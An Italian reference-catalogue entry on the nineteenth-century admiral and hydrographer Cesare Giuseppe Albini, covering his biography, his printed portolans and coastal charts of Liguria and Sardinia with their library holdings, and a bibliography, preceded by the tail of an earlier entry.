Y.GRAVIER, Catalogue des livres français qui se trouvent chez Yves Gravier Impri­meur-Libraire à Gènes, à Gènes, chez Yves Gravier Imprimeur-Libraire, 1818.
P.PRESCIUTTINI, L'Istituto Idrografico della Marina. 125 anni al servizio del Paese, catalogo della mostra celebrativa (Padiglione del Mare e della Navigazione, Ge­nova), Genova, IIM, 1998.

Rimandi ad altre schede: Albini; Levanto

Autore della scheda:

Albini, Cesare Giuseppe (detto Giuseppe)

Cesare Giuseppe Albini
N. Villafranca di Nizza 30 settembre 1780
M. Spotorno (SV) 31 luglio 1859

Relazioni di parentela: Figlio dell'ammiraglio Giovanni Battista Albini, genero del generale piemontese Ornano, padre dell'ammiraglio Giovanni Battista Albini (1812-1876, noto protagonista del Risorgimento) nonché del contrammiraglio Augusto Albini (1830- 1909), poi deputato spezzino e senatore del Regno d'Italia. Sua figlia Maria Gio­vanna Sebastiana sposò un Giacinto Fregoso discendente della nobile e antica famiglia dei Campofregoso.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Il 3 aprile 1848 venne nominato senatore; nel 1850 gli fu con ferito il titolo di Conte. Fu insignito dell'onorificenza di «Ufficiale dell'Ordine Militare d'Italia» il
26 maggio 1856 R.D. n. 16, e il 12 giugno 1856 di «Grande Ufficiale dell'Ordine Militare d'Italia».
In CLIO 1991, pp. 68-69, è confuso con gli omonimi Giuseppe Albini, 1827- 1911, medico e poligrafo, e Giuseppe Albini, 1863-1933, grecista e latinista.

Produzione scientifica:
Nel 1854 soprintende alla redazione del Portolano della Liguria (Genova, Armanino, 1855), composto di XXII tavole. Alla Biblioteca Universitaria di Genova se ne conserva copia con alcune pagine lacerate, altre macchiate e posposte le carte nn. 9-17. Albini firma la Prefazione «Genova, 1° Gennaio 1854», ma l'editore appone su ogni pagina la data 1855, quindi l'opera si trova citata sotto entrambe le date.
La copia della BUG contiene, rilegata nel volume ma ad esso estranea (per diversi caratteri tipografici, cornice con indicazione di latitudine e longitudine e cartiglio) una «CARTA/ DEL/ LITTORALE DELLA LIGURIA E CONTADO/ NIZZA I principiando dal fiume del Varo fino a quello / della Magra / in parte Sondata dagli Uff.li e Piloti/ della Marina in varie riprese. / Sotto la direzione del V.ce Ammiraglio / C.re G.pe ALBINI/ Genova/ 1854, da non confondere con altra opera (anche questa conservata presso la BUG, mise. E. 2. 14) intitolata CARTA/ IDROGRAFI­CA I del Littorale della Liguria/ e/ CONTADO di NIZZA I principiando dal Fiu­me del Varo sino a quello della/ Magra/ in PARTE SONDATA DAGLI UFFI­CIALI E PILOTI/ DELLA MARINA IN V ARIE RIPRESE/ sotto la direzione del Vice Amm.lio / C.r [sic] G.pe ALBINI/ Genova/ incisa/ nello stabilimento grafico e Calcografico di Nicolò Armanino Genova/ Via Garibaldi n° 204». In basso a sini­stra è firmata da un incisore, «G. Woiciechowski Lit.», altrimenti ignoto.
Rispetto alla prima, questa carta è molto più grande e contiene più dettagli: ad esempio è raffigurato sulla carta il cerchio entro il quale è visibile ogni singolo faro ligure, con la precisazione del tipo di luce visibile (per es. Faro di Genova, visibile da Varazze a Portofino, «Luce a Eclisse di minuto in minuto»; faro di Por­tofino, visibile da Quinto a Riva Trigoso, «Luce a Eclisse con lampi di 3 in 3 se­condi»). Entrambi i prodotti cartografici sono pervenuti alla biblioteca nazionale genovese dall'eredità Sertorio nel 1903.
In tutte le carte di Albini sono indicate le misure dei fondali e quasi sempre si pre­cisa la «qualità» del fondale con una lettera («Annotazioni: I Numeri delle sonde sono braccia da piedi 5 francesi e le lettere la qualità: A. Alga F. Fango P. Pietra S. Sabbia»).
In tutte le sue opere è sempre compresa Villafranca di Nizza, sua città natale, cui dedica anche la tavola di pagina 5 del suo Portolano 1855. Tutte fanno riferimento al Meridiano di Parigi (anziché quello di Greenwich) per quanto attiene alla longi­tudine: quindi il Faro di Genova risulta essere «Lat. del Faro 44' [Sic, per 44°] 24' 8" Nord, Long. 6° 34' 4" est del Meridiano di Parigi».
Guida del Piloto nel Littorale dell'isola di Sardegna, Torino, G. Fodratti, 1843, 80 pp. (una copia nota presso la Bibliotec.a Nazionale Universitaria di Torino secondo CLIO p. 68; altra presso Istituto Idrografico della Marina). Quest'opera è stata oggetto di una ristampa (AA. VV., 1988).
Guida del navigante nel Littorale della Liguria, nel Principato di Monaco, nella con­tea di Nizza e nell'isola di Capraja, Genova, Sordomuti, 1855, 94 pp. Unica copia nota (secondo CL.I.O., 1991, p. 68), alla Biblioteca Universitaria di Genova: BUG MISC.C. 22.37.; altra copia presso BCNF Palar. 30.6.4.23.II. Si tratta di un testo portolanico del tutto 1;rivo di illustrazioni: manca sia la cartografia azimutale, sia le vedute dal largo. Il che in parte giustifica la scelta di cambiare editore, visto che la cartografut preferisce stamparla, nello stesso anno, presso la calcografia Ar­manino. La guida include una descrizione di Capraia perché, come è noto, pur possedimento genovese (dal 1507) rimase esclusa dalla cessione della Corsica alla Francia e seguì l'annessione di Genova al Regno di Sardegna. A p. 84 scrive: «nel­la lunga navigazione da me fatta in questo mare dal 1816 al 1849 ebbi più volte luogo ad esperimentare il corso delle acque, confrontarle colle osservazioni fatte dagli autori di alcuni Portolani, come per esempio Michelot, Gorgolione [sic], Bougart, Wooght, ed altri più recenti ancora, ma nulla si combina con quelle fatte dal barone Dè-Zac, che sono le seguenti ... » e poi elenca una serie di osservazioni sulle correnti e sulle maree.

Produzione di cartografia manoscritta:
Nessuna.

Produzione di cartografia a stampa:
- Portolano della Sardegna, Torino, Stab. Litografico ed autografico Doyen e C., 1842, composto da 28 tavole, di scala diversa, tutte 30x45 cm. (diverse copie, tra cui: Biblioteca Centrale Nazionale di Firenze (BCNF) Palat. 8.6.6.16.; o Cagliari, Biblioteca dell'Università, Sala Sarda, Ms. 208).
- Carta Idrografica del Littorale della Liguria, Genova, Armanino, 1854. 1 foglio. Di­mensioni: larga 122 cm, alta 61 cm.
- Carta del Littorale della Liguria, Genova, Armanino, 1854 (recte 1855). 1 foglio. Dimensioni: larga 62 cm, alta 31 cm. La data 1854 è nel cartiglio e allude forse al disegno, la data 1855 è della calcografia Armanino.
- Portolano della Liguria, Genova, Armanino, 1854 (recte: 1855), composto di 22 tavole, di scala diversa, tutte 30x43 cm. (diverse copie, tra cui: BCNF Palat. 30.6.3.9.; o Biblioteca Universitaria di Genova, 4.K.K.VI.1; altra copia presso Isti­tuto Idrografico della Marina). La data 1854 è nella Prefazione e nei cartigli e allu­de forse al disegno, la data 1855 è della calcografia Armanino.

Fonti d’archivio:

Bibliografia:
G. ALBINI, Il portolano della Sardegna, a cura di M. MURTAS e G. SABA, Introduzione di Pasquale Brandis, Sassari, Isorma, 1988.
AA. Vv., CLI.O. Catalogo dei Libri Italiani dell'Ottocento (1801-1900). Val. 1
Autori A-CAL, Milano, Ed. Bibliografica, 1991, pp. 68-69.
E. COSTA, Albini, Giuseppe, in Dizionario Biografico dei Liguri, Genova, Consulta Ligure, 1992.
Grande Dizionario Enciclopedico, Torino, UTET, 1954, II ediz., vol. I.
A. MALATESTA, Ministri; deputati; senatori dal 1848 al 1922, Enciclopedia Biografica e Bibliografica Italiana, vol. I, Roma, 1940.
P. PIERI, Storia militare del Risorgimento. Guerre e insurrezioni, Torino, Einaudi, 1962.
E.PRASCA, La marina da guerra di Casa Savoia, in «Rivista Marittima», XXV, n. 4, n. 4, 1982.
C. RANDACCIO, Storia delle marine italiane dal 1750 al 1860 e della marina militare italiana dal 1860 al 1870, Roma, Forzani, 1886.
M.Rosi, Dizionario del Risorgimento nazionale, Milano, 1931-1937, vol. Il.
J.B. TOSELLI, Biographie niçoise ancienne et moderne ou dictionnarire historique de tous !es hommes qui se sont fait remarquer par leurs actions, Nice, 1860, t. I, pp. 18-23.
A.V. VECCHI, Storia generale della marina militare, 3 voli., Firenze-Livorno, Tip. Cooperativa Editrice, 1892-1895.
Repertori cartobibliogra/ici
P.PRESCIUTTINI, Coste del Mediterraneo nella cartografia europea 1500-1900, Ivrea, Priuli e Verlucca, 2004.
R.V. TooLEY, Tooley's Dictionary o/ Mapmakers, with a preface by Helen Wallis, New York-Amsterdam, Alan R.Liss -Meridian publishing, 1978.

Altro:

Rimandi ad altre schede: Gravier

Autore della scheda: Michele Castelnovi